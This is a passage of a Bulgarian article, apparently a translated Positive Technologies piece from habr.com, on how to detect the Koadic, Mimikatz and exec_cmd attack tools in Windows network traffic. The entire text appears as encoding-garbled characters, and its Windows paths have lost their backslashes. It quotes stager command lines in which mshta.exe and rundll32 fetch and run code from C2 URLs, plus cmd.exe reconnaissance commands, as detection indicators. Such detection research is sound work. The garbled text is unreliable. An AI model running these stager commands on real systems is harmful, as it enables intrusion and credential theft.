Π΄Π° Π³ΠΈ повиши, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ Π·Π° заобикалянС Π½Π° ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π° Π½Π° потрСбитСлскитС Π°ΠΊΠ°ΡƒΠ½Ρ‚ΠΈ (UAC bypass).

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Рис. 10. КомандСн Ρ€Π΅Π΄ Koadic

Π–Π΅Ρ€Ρ‚Π²Π°Ρ‚Π° трябва сама Π΄Π° ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€Π° комуникацията със Command & Control ΡΡŠΡ€Π²ΡŠΡ€Π°. Π—Π° Ρ‚ΠΎΠ²Π° Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄Π° сС ΠΎΠ±ΡŠΡ€Π½Π΅ към ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»Π½ΠΎ ΠΏΠΎΠ΄Π³ΠΎΡ‚Π²Π΅Π½ URI ΠΈ Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈ основното тяло Π½Π° Koadic с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° Π΅Π΄ΠΈΠ½ ΠΎΡ‚ стадията. На Ρ€ΡŠΡ. 11 Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π° стадия mshta.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Ръс. 11. Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ Π½Π° сСсия с CnC ΡΡŠΡ€Π²ΡŠΡ€Π°

ΠžΡ‚ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° WS Π½Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π° става ясно, Ρ‡Π΅ ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° Ρ‡Ρ€Π΅Π· WScript.Shell, Π° ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈΡ‚Π΅ STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‚ ΠΊΠ»ΡŽΡ‡ΠΎΠ²Π° информация относно ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈΡ‚Π΅ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π°Ρ‚Π° сСсия. Π’ΠΎΠ²Π° Π΅ ΠΏΡŠΡ€Π²Π°Ρ‚Π° Π΄Π²ΠΎΠΉΠΊΠ° Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅-ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π² HTTP Π²Ρ€ΡŠΠ·ΠΊΠ°Ρ‚Π° с CnC ΡΡŠΡ€Π²ΡŠΡ€Π°. ΠŸΠΎΡΠ»Π΅Π΄Π²Π°Ρ‰ΠΈΡ‚Π΅ запитвания са ΡΠ²ΡŠΡ€Π·Π°Π½ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚Π½ΠΎ с функционалността Π½Π° ΠΈΠ·Π²ΠΈΠΊΠ°Π½ΠΈΡ‚Π΅ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ (ΠΈΠΌΠΏΠ»Π°Π½Ρ‚ΠΈ). Всички ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Π½Π° Koadic работят само с Π°ΠΊΡ‚ΠΈΠ²Π½Π° сСсия с CnC.

Mimikatz

По ΡΡŠΡ‰ΠΈΡ Π½Π°Ρ‡ΠΈΠ½, ΠΏΠΎ ΠΊΠΎΠΉΡ‚ΠΎ CME Ρ€Π°Π±ΠΎΡ‚ΠΈ с Bloodhound, Koadic Ρ€Π°Π±ΠΎΡ‚ΠΈ с Mimikatz ΠΊΠ°Ρ‚ΠΎ ΠΎΡ‚Π΄Π΅Π»Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° ΠΈ ΠΈΠΌΠ° няколко Π½Π°Ρ‡ΠΈΠ½Π° Π·Π° Π½Π΅ΠΉΠ½ΠΎΡ‚ΠΎ стартиранС. По-Π΄ΠΎΠ»Ρƒ Π΅ прСдставСна Π΄Π²ΠΎΠΉΠΊΠ° Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅-ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π·Π° Π·Π°Ρ€Π΅ΠΆΠ΄Π°Π½Π΅ Π½Π° ΠΈΠΌΠΏΠ»Π°Π½Ρ‚Π° Mimikatz.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Ръс. 12. ΠŸΡ€Π΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Mimikatz Π² Koadic

МоТС Π΄Π° сС Π·Π°Π±Π΅Π»Π΅ΠΆΠΈ, ΠΊΠ°ΠΊ сС Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈΠ» Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΡŠΡ‚ Π½Π° URI Π² Π·Π°ΠΏΠΈΡ‚Π²Π°Π½Π΅Ρ‚ΠΎ. Π’ Π½Π΅Π³ΠΎ сС появи стойност Π½Π° ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° csrf, която отговаря Π·Π° избрания ΠΌΠΎΠ΄ΡƒΠ». НС ΠΎΠ±Ρ€ΡŠΡ‰Π°ΠΉΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΈΠΌΠ΅Ρ‚ΠΎ ѝ; всички Π·Π½Π°Π΅ΠΌ, Ρ‡Π΅ ΠΏΠΎΠ΄ CSRF ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ сС Ρ€Π°Π·Π±ΠΈΡ€Π° Π½Π΅Ρ‰ΠΎ Π΄Ρ€ΡƒΠ³ΠΎ. Π’ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π° Π΄ΠΎΠΉΠ΄Π΅ ΡΡŠΡ‰ΠΎΡ‚ΠΎ основно тяло Π½Π° Koadic, към ΠΊΠΎΠ΅Ρ‚ΠΎ бСшС Π΄ΠΎΠ±Π°Π²Π΅Π½ ΠΊΠΎΠ΄, ΡΠ²ΡŠΡ€Π·Π°Π½ с Mimikatz. Π’ΠΎΠΉ Π΅ доста голям, Π·Π°Ρ‚ΠΎΠ²Π° Ρ‰Π΅ Ρ€Π°Π·Π³Π»Π΅Π΄Π°ΠΌΠ΅ ΠΊΠ»ΡŽΡ‡ΠΎΠ²ΠΈΡ‚Π΅ ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΈ. ΠŸΡ€Π΅Π΄ нас Π΅ ΠΊΠΎΠ΄ΠΈΡ€Π°Π½Π° Π² base64 Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Mimikatz, сСриализиран .NET клас, ΠΊΠΎΠΉΡ‚ΠΎ Ρ‰Π΅ я ΠΈΠ½ΠΆΠ΅ΠΊΡ‚ΠΈΡ€Π°, ΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΈ Π·Π° стартиранС Π½Π° Mimikatz. Π Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ΡŠΡ‚ ΠΎΡ‚ ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ сС ΠΏΡ€Π΅Π΄Π°Π²Π° ΠΏΠΎ ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π° Π² ΠΎΡ‚ΠΊΡ€ΠΈΡ‚ Π²ΠΈΠ΄.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Ръс. 13. Π Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ ΠΎΡ‚ ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Mimikatz Π½Π° ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ ΠΊΠΎΠΌΠΏΡŽΡ‚ΡŠΡ€

Exec_cmd

Π’ Koadic ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° ΠΈΠΌΠ° ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, способни Π΄Π° ΠΈΠ·ΠΏΡŠΠ»Π½ΡΠ²Π°Ρ‚ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ‚Π΄Π°Π»Π΅Ρ‡Π΅Π½ΠΎ. Π’ΡƒΠΊ Ρ‰Π΅ Π²ΠΈΠ΄ΠΈΠΌ ΡΡŠΡ‰ΠΈΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π·Π° Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°Π½Π΅ Π½Π° URI ΠΈ ΠΏΠΎΠ·Π½Π°Ρ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²ΠΈ sid ΠΈ csrf. Π’ случая Π½Π° ΠΌΠΎΠ΄ΡƒΠ»Π° exec_cmd Π² тялото сС добавя ΠΊΠΎΠ΄, ΠΊΠΎΠΉΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° изпълнява shell ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ. По-Π΄ΠΎΠ»Ρƒ Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ Ρ‚Π°ΠΊΡŠΠ² ΠΊΠΎΠ΄, ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Ρ‰ сС Π² HTTP ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π° Π½Π° CnC ΡΡŠΡ€Π²ΡŠΡ€Π°.

Как Π΄Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ΅ΠΌ Π°Ρ‚Π°ΠΊΠΈ срСщу Windows инфраструктура: изслСдвамС инструмСнтитС Π½Π° Ρ…Π°ΠΊΠ΅Ρ€ΠΈΡ‚Π΅
Ръс. 14. Код Π½Π° ΠΈΠΌΠΏΠ»Π°Π½Ρ‚Π° exec_cmd

ΠŸΡ€ΠΎΠΌΠ΅Π½Π»ΠΈΠ²Π°Ρ‚Π° GAWTUUGCFI с познатия Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ WS Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° Π·Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° ΠΊΠΎΠ΄Π°. Π‘ Π½Π΅ΠΉΠ½Π° ΠΏΠΎΠΌΠΎΡ‰ ΠΈΠΌΠΏΠ»Π°Π½Ρ‚ΡŠΡ‚ ΠΈΠ·Π²ΠΈΠΊΠ²Π° shell, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π²Π°ΠΉΠΊΠΈ Π΄Π²Π΅ части ΠΎΡ‚ ΠΊΠΎΠ΄Π° β€” shell.exec с Π²Ρ€ΡŠΡ‰Π°Π½Π΅ Π½Π° изходния ΠΏΠΎΡ‚ΠΎΠΊ Π΄Π°Π½Π½ΠΈ ΠΈ shell.run Π±Π΅Π· Π²Ρ€ΡŠΡ‰Π°Π½Π΅.

Koadic Π½Π΅ Π΅ Ρ‚ΠΈΠΏΠΈΡ‡Π΅Π½ инструмСнт, Π½ΠΎ ΠΈΠΌΠ° свои Π°Ρ€Ρ‚Π΅Ρ„Π°ΠΊΡ‚ΠΈ, ΠΏΠΎ ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° бъдС Π½Π°ΠΌΠ΅Ρ€Π΅Π½ Π² лСгитимния Ρ‚Ρ€Π°Ρ„ΠΈΠΊ:

  • спСциално Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€Π°Π½Π΅ Π½Π° HTTP запитвания,
  • ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° winHttpRequests API,
  • създаванС Π½Π° ΠΎΠ±Π΅ΠΊΡ‚ WScript.Shell Ρ‡Ρ€Π΅Π· ActiveXObject,
  • голямо изпълнимо тяло.

ΠŸΡŠΡ€Π²ΠΎΠ½Π°Ρ‡Π°Π»Π½ΠΎΡ‚ΠΎ ΡΠ²ΡŠΡ€Π·Π²Π°Π½Π΅ ΠΈΠ½ΠΈΡ†ΠΈΠΈΡ€Π° стСйдТСра, ΠΊΠΎΠ΅Ρ‚ΠΎ Π΄Π°Π²Π° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π·Π° ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°Π½Π΅ Π½Π° активността ΠΌΡƒ Ρ‡Ρ€Π΅Π· ΡΡŠΠ±ΠΈΡ‚ΠΈΡ Π½Π° Windows. Π—Π° mshta Ρ‚ΠΎΠ²Π° ΡΡŠΠ±ΠΈΡ‚ΠΈΠ΅ Π΅ 4688, ΠΊΠΎΠ΅Ρ‚ΠΎ сигнализира Π·Π° ΡΡŠΠ·Π΄Π°Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° процСс с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π° стартиранС:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

По Π²Ρ€Π΅ΠΌΠ΅ Π½Π° ΠΈΠ·ΠΏΡŠΠ»Π½Π΅Π½ΠΈΠ΅Ρ‚ΠΎ Π½Π° Koadic ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈ ΡΡŠΠ±ΠΈΡ‚ΠΈΡ 4688 с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Π³ΠΎ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€ΠΈΠ·ΠΈΡ€Π°Ρ‚:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Изводи

Π’Ρ€Π΅Π½Π΄ living off the land Π½Π°Π±ΠΈΡ€Π° популярност срСд Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΡ†ΠΈΡ‚Π΅. Π’Π΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚ Π²Π³Ρ€Π°Π΄Π΅Π½ΠΈ Π² Windows инструмСнти ΠΈ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° своитС Π½ΡƒΠΆΠ΄ΠΈ. НаблюдавамС ΠΊΠ°ΠΊ популярни инструмСнти ΠΊΠ°Ρ‚ΠΎ Koadic, CrackMapExec ΠΈ Impacket, слСдващи Ρ‚ΠΎΠ·ΠΈ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ, всС ΠΏΠΎ-чСсто сС срСщат Π² ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΈ Π·Π° APT. Броят Π½Π° fork-ΠΎΠ²Π΅Ρ‚Π΅ Π½Π° GitHub Π·Π° Ρ‚Π΅Π·ΠΈ инструмСнти ΡΡŠΡ‰ΠΎ нараства, появяват сС Π½ΠΎΠ²ΠΈ (Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° са ΠΎΠΊΠΎΠ»ΠΎ хиляда). Π’Π°Π·ΠΈ тСндСнция Π½Π°Π±ΠΈΡ€Π° популярност Π±Π»Π°Π³ΠΎΠ΄Π°Ρ€Π΅Π½ΠΈΠ΅ Π½Π° своята простота: Π½Π° Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΡ†ΠΈΡ‚Π΅ Π½Π΅ ΠΈΠΌ трябват външни инструмСнти, Ρ‚Π΅ Π²Π΅Ρ‡Π΅ ΠΏΡ€ΠΈΡΡŠΡΡ‚Π²Π°Ρ‚ Π½Π° ΠΊΠΎΠΌΠΏΡŽΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²ΠΈΡ‚Π΅ ΠΈ ΠΏΠΎΠΌΠ°Π³Π°Ρ‚ Π΄Π° сС заобиколят Π·Π°Ρ‰ΠΈΡ‚Π½ΠΈΡ‚Π΅ ΠΌΠ΅Ρ€ΠΊΠΈ. НиС сС фокусирамС Π²ΡŠΡ€Ρ…Ρƒ ΠΈΠ·ΡƒΡ‡Π°Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²Π°Ρ‚Π° Π²Π·Π°ΠΈΠΌΠΎΠ²Ρ€ΡŠΠ·ΠΊΠ°: всСки ΠΎΡ‚ описанитС ΠΏΠΎ-Π³ΠΎΡ€Π΅ инструмСнти оставя свои слСди Π² мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ; Π΄Π΅Ρ‚Π°ΠΉΠ½ΠΎΡ‚ΠΎ ΠΈΠΌ изслСдванС Π½ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈ Π΄Π° ΠΎΠ±ΡƒΡ‡ΠΈΠΌ нашия ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ PT Network Attack Discovery Π΄Π° Π³ΠΈ ΠΎΡ‚ΠΊΡ€ΠΈΠ²Π°, ΠΊΠΎΠ΅Ρ‚ΠΎ Π² ΠΊΡ€Π°ΠΉΠ½Π° смСтка ΠΏΠΎΠΌΠ°Π³Π° ΠΏΡ€ΠΈ разслСдванСто Π½Π° цялата Π²Π΅Ρ€ΠΈΠ³Π° ΠΊΠΈΠ±Π΅Ρ€ΠΈΠ½Ρ†ΠΈΠ΄Π΅Π½Ρ‚ΠΈ с тяхно участиС.

Автори:

  • Антон Π’ΡŽΡ€ΠΈΠ½, Ρ€ΡŠΠΊΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅Π» Π½Π° ΠΎΡ‚Π΄Π΅Π»Π° Π·Π° СкспСртни услуги, PT Expert Security Center, Positive Technologies
  • Π•Π³ΠΎΡ€ Подмоков, СкспСрт, PT Expert Security Center, Positive Technologies

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: habr.com

ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС със Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS ΠΈ VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π½Π°Π΄Π΅ΠΆΠ΄Π΅Π½ хостинг Π·Π° сайтовС със Π·Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ DDoS, VPS ΠΈ VDS ΡΡŠΡ€Π²ΡŠΡ€ΠΈ | ProHoster